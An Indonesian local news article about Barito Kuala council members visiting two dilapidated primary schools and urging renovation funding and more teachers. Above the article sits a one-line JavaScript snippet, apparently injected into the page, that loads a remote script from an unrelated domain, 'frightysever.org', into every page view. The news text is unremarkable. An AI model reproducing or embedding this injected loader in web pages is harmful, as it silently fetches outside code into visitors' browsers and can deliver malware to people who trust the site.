(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD Batola Kunjungi Dua Sekolah dianggap Memprihatinkan

KANALKALIMANTAN.COM, MARABAHAN – Komisi II DPRD Barito Kuala gelar kunjungan kerja ke dua kecamatan untuk menyerap aspirasi masyarakat terkait layanan pendidikan, baru-baru tadi.

Kali ini DPRD mengunjungi dua Sekolah Dasar (SD) yang ada di Kecamatan Kuripan. Yakni SDN Jerenang pada Selasa (21/6/2022) dan di Kecamatan Tabukan pada Rabu (22/6/2022), tepatnya di SDN Muara Pulau.

Dikatakan Nanang Kaderi, Ketua Komisi II, secara umum kedua sekolah ini kondisinya cukup memprihatinkan. Terutama pada bangunan fisik sekolah yang di beberapa bagian sudah mengalami kerusakan. Sehingga perlu adanya renovasi untuk kelayakan siswa mengikuti kegiatan belajar mengajar.

“Untuk di SDN Muara Pulau, selain ruang kelas yang kurang layak, kondisinya saat ini juga terkendala kurangnya tenaga pengajar. Sehingga Kepala Sekolah pun harus turun tangan untuk mengajar,” terangnya.

Menanggapi hal ini, lanjut Anggota DPRD dari Fraksi Golkar ini, pihaknya menginginkan Dinas Pendidikan memprioritaskan penganggaran dalam Dana Alokasi Khusus (DAK) dan Dana Alokasi Umum (DAU).

Agar dua masalah yang saat ini dikeluhkan bisa teratasi dengan baik dan kegiatan belajar mengajar berlangsung nyaman. Serupa dengan SDN Jerenang, SDN Muara Pulau yang turut dikunjungi juga merasakan hal yang sama, ada sejumlah fasilitas sekolah yang sudah kurang layak digunakan. Kondisi ini pun diharapkan dapat perhatian untuk adanya renovasi perbaikan secepatnya.

“Mengenai upaya renovasi SDN Jerenang, DAK perbaikan sudah ada. Namun mereka harus melengkapi Data Dapodik 2022 terlebih dahulu. Jika sudah, renovasi akan segera terealisasi,” ucap Nanang didampingi Basrin, anggota Komisi II.

Di samping itu, Nanang juga berharap adanya inisiatif pihak sekolah untuk mengajukan bantuan ke sejumlah perusahaan yang beroperasi di Batola untuk turut mengatasi kendala dalam bidang pendidikan ini.

“Hal ini bisa ditempuh dengan upaya mengajukan proposal, seperti pengajuan bantuan CSR untuk sekolah,” pungkasnya. (Kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk